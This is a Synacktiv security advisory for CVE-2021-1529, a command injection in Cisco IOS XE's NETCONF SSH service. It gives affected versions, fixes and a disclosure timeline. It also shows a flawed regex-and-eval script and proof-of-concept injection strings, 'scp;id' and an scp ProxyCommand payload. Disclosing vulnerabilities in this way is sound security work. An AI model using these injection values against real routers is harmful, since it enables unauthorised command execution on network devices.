SYNACKTIV
DIGITAL SECURITY

Command injection in Cisco IOS XE NETCONF SSH – CVE-2021-1529

Security advisory

2021/10/28

Julien Legras

Vulnerabilities description

Cisco SD-WAN

SD-WAN is a software-defined approach to managing the wide-area network, or WAN.

The Cisco SD-WAN fabric is based on the Viptela solution, which has four main components. Each of these components has a very specific role:

- *vManage* – Management Dashboard.
- *vEdge* – The edge router at branches.
- *vBond* – The Orchestrator.
- *vSmart* – The Controller.

The issue

Synacktiv analyzed the latest version of Cisco IOS XE for the router CSR 1000v and found a command injection which is reminiscent of a previous command injection (CVE-2019-16011).

Also, it is worth noting that the attacker needs to initiate the connections from a vManage/vSmart/vBond device which reduces the risk of exploitation.

Affected versions

The following Cisco products are affected:

- 1000 Series Integrated Services Routers (ISRs)
- 4000 Series ISRs
- ASR 1000 Series Aggregation Services Routers
- Catalyst 8000 Series Edge Platforms
- Cloud Services Router (CSR) 1000V Series

At least the version Cisco IOS XE 16.12.04.

Official fix

If you are using the standalone IOS XE SD-WAN Software, Cisco does not provide any update for this vulnerability and advises to upgrade to a universal Cisco IOS XE Software release.

If you are already using the universal Cisco IOS XE Software release, please upgrade to the following versions:

- 17.2.3
- 17.3.4
- 17.4.2
- 17.5.1a
- 17.6.1

Timeline

Date	Action
2021/02/25	Vulnerabilities details sent to psirt@cisco.com
2021/02/25	First response from the Cisco PSIRT
2021/03/02	Cisco agreed to release fixes before the 2nd of June 2021
2021/04/26	Cisco asked to postpone to July 2021
2021/06/09	Cisco asked to postpone to March 2022 but agreed for October 2021
2021/10/20	Cisco released advisory and fixed software https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sd-wan-rhpbE34A
2021/10/28	Synacktiv published the technical details.

Technical descriptions and proofs-of-concept

The Cisco IOS XE routers expose a NETCONF SSH service on port 830. The configuration of this service sets a *ForceCommand* directive:

```
ForceCommand /bin/mcp_pkg_wrap rp_daemons /usr/binos/conf/ncsshd-ssh-scp.sh
```

This script contains a few checks:

```
# Allow scp
if [[ $SSH_ORIGINAL_COMMAND == scp* ]]; then

    if [[ ! -z $@ ]]; then
        STRING_REGEX="^([a-z A-Z0-9_/#:@%-? ])+$"
        if [[ ! $@ =~ $STRING_REGEX ]]; then
            exit 1
        fi
    fi

    if reject_ssh_scp; then
        log "scp request from $SRC_IP to $DST_IP rejected"
        exit
    fi
    eval ${SSH_ORIGINAL_COMMAND}
    exit
fi
```

The *reject_ssh_scp* function validates that the SSH connection comes from a vBond/vSmart/vManage device.

The regular expression allows too many characters and the string “scp;id” actually matches it, which will result in a command injection. The following proof of concept can be used to demonstrate this behavior:

```
#!/bin/bash

cmd="scp;id"

STRING_REGEX="^([a-z A-Z0-9_/#:@%-? ])+$"
if [[ ! $cmd =~ $STRING_REGEX ]]; then
    echo "caught by the regex"
    exit 1
fi
echo "passed the regex"
eval $cmd
```

Also, it is possible to exploit this injection through the *scp* options with:

```
scp -oProxyCommand='touch /tmp/pwnd' a a
```